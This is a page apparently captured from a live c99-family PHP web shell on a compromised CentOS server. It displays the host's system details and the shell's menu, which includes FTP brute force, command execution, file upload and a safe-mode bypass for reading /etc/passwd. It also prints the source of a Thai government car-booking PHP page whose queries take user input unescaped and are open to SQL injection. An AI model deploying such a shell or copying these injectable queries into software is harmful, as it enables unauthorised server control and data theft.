!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Car_depart_/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SearchCarList.php (18.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
    
    
/**  Configuration  */
    
include( "../configuration.php" );
    require_once( 
$_Config_absolute_path "/includes/framework.php" );
    require_once( 
$_Config_absolute_path "/include/Function.php" );
    require_once( 
"../include/Function.php" );
    
/**  Create Database Object  */
    
$dbObj = new DBConn;
    
    
/**  Config Table for This Page  */
        
$myTable "formcaroffice"
        
$myTable1 "personal_tb";
        
$myTable3 "budget_year_tb";
        
$myTablePK "carId";
       
$myTableField1 "Date_start";
        
$myTableField2 "Training_name";
    

    
/**  Paging */
    
$page $_GET['page'];
    if( 
$page == "" ) { $page 1; }
    
    
/**  Keyword and Field */
    
$keyword $_REQUEST['keyword'];
    
$selectTypeBook $_REQUEST['selectTypeBook'];
    
    
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
    
$perpage $_REQUEST['perpage'];
    if( 
$perpage == "" ) { $perpage 300; }
    
    if( 
$Year == "" )
        
$Year date("Y")+543;
    
    
/**  Botton Name Action */
        
$action $_REQUEST['action'];
        
$id $_REQUEST['id'];
    
        if( isset(
$action) && !empty($action) ) {
            switch( 
$action ) {
                case 
"Update" :
                    
$num count($id);
                    for( 
$i=0$i<$num$i++ ) {
                        
//--- college
                        
$qryUp " UPDATE   formcaroffice   SET   Status = 'อนุมัติ'   WHERE    carId='$id[$i]' ";
                        
$resultUp $dbObj->runQuery($qryUp);
                        
$dbObj->freeresult($resultUp);
                    } 
# for
                
break;
                case 
"Reset" :
                    
$num count($id);
                    for( 
$i=0$i<$num$i++ ) {
                        
//--- college
                        
$qryUp " UPDATE  formcaroffice  SET   Status = 'รออนุมัติ'  WHERE   carId='$id[$i]' ";
                        
$resultUp $dbObj->runQuery($qryUp);
                        
$dbObj->freeresult($resultUp);
                    } 
# for
                
break;
            } 
# switch
        
# if
        
        
    //**  Parameter  */
    
$param "keyword=$keyword&selectTypeBook=$selectTypeBook"
    
    } 
#else
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title><?=$_Config_sitename;?> - ข้อมูลงานสารบรรณ - ข้อมูลรายการหนังสือรับ-ส่ง</title>
<script type="text/javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include( "../templates/incHeader.php" );
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="215" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="788" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myTablePK; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "ASC"; }
                        
        if( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        elseif( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
if( $keyword != "" ) {  // กรอก Keyword
            
if( $selectTypeBook != "" ) {  // เลือกประเภท
                
switch( $selectTypeBook ) {
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField1 LIKE '%$keyword%'  ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE  $myTableField2  LIKE '%$keyword%' ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%' ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%' ";
                        break;
                    case 
:
                        
$query " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%' ";
                        break;
                } 
# switch
            
} else {  // มีแต่ Keyword ไม่ได้ Select ประเภท
                
$query " SELECT *  FROM $myTable  WHERE        ( $myTableField1 LIKE '%$keyword%'  OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  OR  $myTableField5 LIKE '%$keyword%' )   ";        
                
            } 
# else
        
} else {  // ไม่มีการกรอก Keyword
            
if(isset($_REQUEST['dateStart'])){
                
$query " SELECT *  FROM $myTable  WHERE  Date_start >= '".dmyE2ymdE2($_REQUEST['dateStart'])."'  AND Date_finish <= '".dmyE2ymdE2($_REQUEST['dateFinish'])."'  ";
            }
            else{
                
$query " SELECT *  FROM $myTable ";
            }
        }
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
//echo $query;
        
        /**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( $keyword != "" ) { 
            if( 
$selectTypeBook != "" ) { 
                if( isset(
$_GET['OrderBy']) ) {
                    switch( 
$selectTypeBook ) {
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE  $myTableField1 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField2 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%'  
                                               ORDER BY  $OrderBy  $ASCDESC "
;
                            break;
                    } 
# switch
                
# if
                
elseif( !isset($_GET['OrderBy']) ) {
                    switch( 
$selectTypeBook ) {
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField1 LIKE '%$keyword%'  
                              ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField2 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField3 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField4 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                        case 
:
                            
$query " SELECT *  FROM $myTable  WHERE   $myTableField5 LIKE '%$keyword%'  
                            ORDER BY $myTablePK  ASC "
;
                            break;
                    } 
# switch
                
# elseif
            
} else {  // หาเฉพาะที่ใส่ Keyword
                
if( isset($_GET['OrderBy']) ) {
                    
$query " SELECT *  FROM $myTable  WHERE   ( $myTableField1 LIKE '%$keyword%'  
                                       OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  
                                       OR  $myTableField5 LIKE '%$keyword%' )    ORDER BY  $OrderBy  $ASCDESC "
;
                } 
                elseif( !isset(
$_GET['OrderBy']) ) {
                    
$query " SELECT *  FROM $myTable  WHERE     ( $myTableField1 LIKE '%$keyword%'   OR  $myTableField2 LIKE '%$keyword%'  OR  $myTableField3 LIKE '%$keyword%'  OR  $myTableField4 LIKE '%$keyword%'  
                                       OR  $myTableField5 LIKE '%$keyword%' )    ORDER BY  $myTablePK  ASC "
;
                }
            } 
# else
        
} else {
            if( isset(
$_GET['OrderBy']) ) {
                
$query " SELECT *  FROM $myTable    ORDER BY  $OrderBy  $ASCDESC ";
                
            } 
            elseif( !isset(
$_GET['OrderBy']) ) {
            
                
$query " SELECT *  FROM $myTable  WHERE  Date_start >= '".dmyE2ymdE2($_REQUEST['dateStart'])."'  AND Date_finish <= '".dmyE2ymdE2($_REQUEST['dateFinish'])."'  ORDER BY  $myTablePK  ASC ";
            } 
# elseif
        
# else
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
    
?>
     <fieldset><table width="770" border="0" cellspacing="0" cellpadding="0">
     <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>&amp;Year=<?=$Year;?>">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a> &raquo; <span class="NOTE">ค้นหาวันที่ขอใช้รถยนต์ราชการ</span></strong></td>
        </tr>
      <tr>
        <td><table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td height="10" colspan="2" align="right"></td>
          </tr>
          <tr>
            <td height="10" colspan="2" align="left"><span class="PADDING-TOP-10 PADDING-BOTTOM-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong> &lsaquo; ย้อนกลับ</strong></a></span></td>
          </tr>
          <tr>
            <td height="10" colspan="2" align="right"></td>
            </tr>
          <tr>
            <td width="50%" align="left" style="padding-bottom:5px;">ทั้งหมด: <strong><span class="RED"><?=$numrows;?></span></strong> รายการ</td>
            <td width="50%" align="right" style="padding-bottom:5px;">&nbsp;</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td align="center" valign="top"><?php if( $numrows ) { ?>
          <table width="750" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td height="66"><!--ค้นหา 
                <input name="keyword" type="text" value="<?=$keyword;?>" size="20" style="color:#FF0066" />
                <script type="text/javascript" src="../includes/popcalendar.js"></script>
                      <script language='JavaScript' type="text/javascript">
                if (!document.layers) {      
                    document.write("<img src='../images/ew_calendar.gif' width='16' height='15' style='cursor:hand;' onclick='popUpCalendar(this, myForm.keyword, \"yyyy-mm-dd\")'>")
                }
                        </script>
                              <span class="TEXT-ORANGE9">&lt;-- คลิ๊กที่นี่</span>
                
                <select name="selectTypeBook" id="selectTypeBook">
                  
                     <option value="1" <?php if( $selectTypeBook == "1" ) echo 'selected'?>>ว/ด/ป</option>  
                        <option value="2" <?php if( $selectTypeBook == "2" ) echo 'selected'?>>เรื่อง</option>
                </select >-->
                          <table width="756">
                              <tr valign="middle">
                                <td width="122" height="42" >ค้นหา&nbsp;&nbsp;ตั้งแต่วันที่</td>
                                  <td width="179"><script>DateInput('dateStart', true, 'DD/MM/YYYY','<?=($_REQUEST['dateStart'])?$_REQUEST['dateStart']:date("d/m/Y");?>');</script></td>
                                  <td width="49">&nbsp;&nbsp;ถึงวันที่</td>
                                  <td width="188"><script>DateInput('dateFinish', true, 'DD/MM/YYYY','<?=($_REQUEST['dateFinish'])?$_REQUEST['dateFinish']:date("d/m/Y");?>');</script></td>
                                    <td width="49">&nbsp;&nbsp;<input type="submit" name="Submit" value="ค้นหา"  style="cursor:pointer" /></td>
                                    <td width="105"><a href="SearchTraningListToExcel.php?dateStart=<?=($_REQUEST['dateStart'])?$_REQUEST['dateStart']:date("d/m/Y");?>&dateFinish=<?=($_REQUEST['dateFinish'])?$_REQUEST['dateFinish']:date("d/m/Y");?>"><img src="../picture/excel.gif" title="คลิ๊กที่นี่เพื่อส่งออกเป็นข้อมูล Excel" /></a></td>
                            </tr>
                              <tr valign="middle">
                                <td height="26" >&nbsp;</td>
                                <td>&nbsp;</td>
                                <td>&nbsp;</td>
                                <td colspan="3" align="right"><span style="padding-bottom:5px;">
                                  <input type="submit" name="action" id="action" value="Update" class="TEXT-CLIMSON10 CURSOR-HAND WIDTH60" />
                                <input type="submit" name="action" id="action" value="Reset" class="TEXT-DARK-BLUE10 CURSOR-HAND WIDTH60" />
                              </span></td>
                            </tr>
                          </table>
              </td>
            </tr>
          </table>
          <table width="774" border="0" align="center" cellpadding="0" cellspacing="0" class="BORDER-GREY">
            <tr bgcolor="#F8F8F8">
              <td width="27" height="29" align="center" bgcolor="#F8F8F8" class="BORDER-RIGHT">No</td>
              <td width="88" align="center" bgcolor="#F8F8F8"  class=" PADDING-LEFT-5">วันที่ขอใช้</td>
              <td width="84" align="center" bgcolor="#F8F8F8" class=" BORDER-LEFT PADDING-LEFT-5">เวลา</td>
              <td width="110" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT">ทะเบียน</td>
              <td width="146" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT">พนักงานขับรถยนต์</td>
              <td width="174" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT">ผู้ขอใช้รถยนต์</td>
              <td width="66" align="center" class="BORDER-LEFT">สถานะ</td>
              <td colspan="2" align="center" class="BORDER-LEFT">จัดการ<br/>
                ข้อมูล</td>
              <td width="26" align="center" class="BORDER-LEFT"><input name="checkboxall" type="checkbox" id="checkboxall" onclick="checkAllDelete(this,this.form);" value="checkbox" alt=" ปรับปรุงที่เลือก " title=" เลือก/ไม่เลือก ทั้งหมด " />
                </a></td>
            </tr>
            <?php 
           $no 
1+($display-1)*$limit;
            while( 
$row $dbObj->fetchArray($result) ) { 
                
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
          
?>
            <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
              <td height="23" align="center" class="BORDER-TOP-RIGHT"><?=$no;?>
                </span></td>
              <td align="left" class="PADDING-LEFT-5 BORDER-TOP"><?php 
                $sday 
$row['DateCar'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]+543);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>
                </span></td>
              <td align="center"  class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?php  echo $row['Time_start']; ?>
                -
                <?php  echo $row['Time_finish']; ?></td>
              <td align="right" class="BORDER-TOP BORDER-LEFT PADDING-RIGHT-5"><?
                $CarmoId 
$row["CarmoId"];
              
$sql "Select * From   automobile_tb   Where CarmoId ='$CarmoId'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[CodeNo]";?></td>
              <td align="left" class="BORDER-TOP BORDER-LEFT PADDING-LEFT-5"><?
                $name1  
$row["name1"];
              
$sql "SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId  Where Teacher_code ='$name1'";
              
$result1 mysql_query($sql) or die("Error".mysql_error());
             
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[First_name] $rs2[Teacher_name]&nbsp;&nbsp;$rs2[Teacher_lastname]";?></td>
              <td align="left" class="BORDER-TOP BORDER-LEFT PADDING-LEFT-5"><?php
                    $Teacher_code 
=  $row['Teacher_code'] ;
                    
$sql11 " Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code='$Teacher_code' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </a></td>
              <td align="center" class="BORDER-TOP BORDER-LEFT"><?php if( $row['Status']=="อนุมัติ" ) echo "<font color=darkgreen>".$row['Status']."</font>"; else echo "<font color=orangered>".$row['Status']."</font>";?>
                </span></a></td>
              <td width="27" align="center" class="BORDER-TOP BORDER-LEFT"><a href="addCarOil.php?Budget_year=<?=$row['Budget_year'];?>&amp;Teacher_code=<?=$row['Teacher_code'];?>&amp;carId=<?=$row['carId'];?>" title="จัดการข้อมูลน้ำมันเชื้อเพลิงรถยนต์ "><img src="../picture/new.gif" alt="จัดการข้อมูลน้ำมันเชื้อเพลิงรถยนต์ " width="16" height="16" border="0" /></a></td>
              <td width="24" align="center" class="BORDER-TOP BORDER-LEFT"><a href="FrmFormCar.php?Budget_year=<?=$row['Budget_year'];?>&amp;Teacher_code=<?=$row['Teacher_code'];?>&amp;carId=<?=$row['carId'];?>" title="จัดการพนักงานรถยนต์ "><img src="../picture/new.gif" alt="จัดการพนักงานรถยนต์" width="16" height="16" border="0" /></a></td>
              <td align="center" class="BORDER-TOP BORDER-LEFT"><input type="checkbox" name="id[]" value="<?=$row['carId'];?>" onclick="highlightRow(this);" title="อนุมัติการขอใช้รถยนต์"<?php if( $row['Status']=="อนุมัติ" ) echo 'checked'?> /></td>
            </tr>
            <?php 
               $no
++;
            } 
# while 
            
$dbObj->freeresult($result);
          
?>
          </table>
          <?php   } else { ?>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td height="150" align="center"><span class="NOTE">ไม่พบรายการที่ค้นหา</span><br />
              <span class="TEXT-BLUE10">กรุณาลองใหม่อีกครั้ง</span><br /><br />
              <input type="button" name="button" id="button" value="&laquo; ย้อนกลับ" onclick="window.history.back();" /></td>
          </tr>
        </table>
        <?php  ?></td>
      </tr>
      <tr>
        <td><span style="padding-bottom:5px;">Update ::         หมายถึงการอนุมัติการขอใช้รถยนต์</span></td>
      </tr>
      <tr>
        <td><span style="padding-bottom:5px;">Reset :: ยกเลิกการขออนุมัติการใช้รถยนต์</span></td>
      </tr>
      <tr>
        <td><img src="../picture/apply.gif" alt="มีการอนุมัติแล้ว" width="16" height="16" border="0" /> :: มีการอนุมัติการใช้รถยนต์แล้ว</span></td>
      </tr></form>
    </table>
    </fieldset></td>
  </tr>
</table>
<?php include( "../templates/incFooter.php" ); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0227 ]--